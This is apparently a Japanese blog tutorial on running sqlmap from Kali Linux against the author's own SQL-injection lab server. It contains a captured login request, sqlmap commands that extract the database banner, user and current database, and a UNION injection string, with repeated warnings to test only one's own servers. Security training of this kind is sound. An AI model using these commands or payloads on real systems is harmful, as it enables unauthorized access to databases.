sqlmapを使ってデータベースの中身をのぞいてみよう!

セキュリティ
今回は脆弱性診断ツール、攻撃に使用するツールとしても有名なsqlmapを使用して、実際にDBの中身を覗いてみましょう。
なお、今回の実施につきましては、管理外のwebアプリケーションに実施した際は攻撃とみなされます。(犯罪になります。)
なので、必ず自分の管理下にあるサーバに実施するようにしてください。

さてsqlmapを実施する前にセキュリティで使用するツール類が詰まったOS「Kali Linux」を作成しましょう!

手順は簡単です。Kali LinuxのVM ImageをダウンロードしてVMwereに入れるだけです。

詳細は以下を見て頂くのがわかりやすいかと思います。

VMwareを使ってKali Linux 2017.2をインストール

VMwereだと、特に設定しなくてもNatを選択して入れば、前回作成したSQLiの検証環境と同じセグメントになっていると思います。
例:Kali Linux:192.168.70.130、SQLi検証環境:192.168.70.131とこんな具合に!

環境説明

実際のNW構成は以下のようなになっています。

Kali Linux(192.168.70.130)からSQLiが存在するサーバ(192.168.70.131)に対してsqlmapを仕掛けます。

sqlmap実施前の下準備

まずはホストPCからアクセスしてみましょう!
なお、今回はブラウザとWebサーバの間にローカルプロキシツールである「burp」を挟んでいます。
※burpの使用方法は今度解説します。

ブラウザから対象(http://192.168.70.131/index.html)にアクセスし、ID:test、PW:testと入力します。

するとburpには以下のようにリクエストとレスポンスのログが記録されました。

このうちのリクエストのログをKaliLinuxに保存します。

$ nano test.txt
#適当なテキストを作成、編集
#以下を張り付けてCtrl+oで保存
POST http://192.168.70.131/db.php HTTP/1.1
Host: 192.168.70.131
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.70.131/index.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Connection: close
Upgrade-Insecure-Requests: 1

uid=test&password=test

さて準備は完了しました。

早速sqlmapを実行してみましょう!

sqlmap実行!

なお今回は私がよく検査とかで実施する方法を使用します。やり方は色々ありますので、皆さんやりやすい方法で実施していただければと思います。

$ sqlmap -r test.txt -p uid
#-rで先ほど作成したテキストを指定、-pで検査するパラメータ「uid」を指定しています。
#(SQLiは両方のパラメータで存在しますが、今回はパラメータを絞っています。)

以下の感じでスタートします。途中選択が入りますが、全部エンターを押して貰えればで大丈夫です。

バンバン検査が進みます!

少し経つと以下のように結果が出力されます。

今回の対象では3つのタイプのSQLiが検出されたことがわかります。

Type: boolean-based blind
※いわゆるブラインドSQLインジェクションというやつです。
Type: AND/OR time-based blind
※sleeepコマンドが有効なSQLインジェクションです。時間差分で検知します。
Type: UNION query
※UNIONが有効なSQLインジェクションです。
この中で、UNIONqueryのSQLインジェクションはデータベースから情報を取得する際に物凄い重宝します。
以下のように実際にSQLとして挿入した値の結果が画面上に表示されます。

なので、以下のように入力した際は「1111」の間にDBのユーザ名が表示されます。

' UNION ALL ' UNION ALL SELECT NULL,NULL,CONCAT(1111,user(),1111)-- sRWR&password=test
※データベースのユーザ名を表示させる。

このまま手作業でも情報を取得できるのですが、sqlmapでは自動でやってくれますので、お任せしちゃいましょう!

$ sqlmap -r test.txt -p uid -b
#データベースのバナー情報の取得「-b」
$ sqlmap -r test.txt -p uid --current-user
#データベースの接続ユーザ情報の取得「--current-user」
$ sqlmap -r test.txt -p uid --current-db
#接続先データベースの取得「--current-db」

すると以下の感じで結果が表示されます。以下は接続先データベースの情報を取得した際の画像です。

こんな形で情報を取得することができます。以下のコマンドで詳細なオプションを確認することができますので、色々試してみてください。(私も全部試したことないです。)

$ sqlmap -hh
#詳細なオプションを表示

最後に

次回は実際に以下の勉強会で話をしたログについて、やっていきます。

[秋葉原]第17回ゼロから始めるセキュリティ入門 勉強会(発表・LT大歓迎)

なお、記事の冒頭でも触れたとおり、自分の管理しているサーバに対してのみで検証してください。
※管理外のサーバに対して実施した場合は犯罪になります。

またレンタルサーバ等に対しても許可なしにやってはいけません。レンタルサーバに対し診断等を行う際は各レンタルサーバに注意事項があると思いますので、それに従って申請を行ってから実施してください。

質問や不明点等あれば、コメントやツイッター等でご連絡頂ければ幸いです。

コメント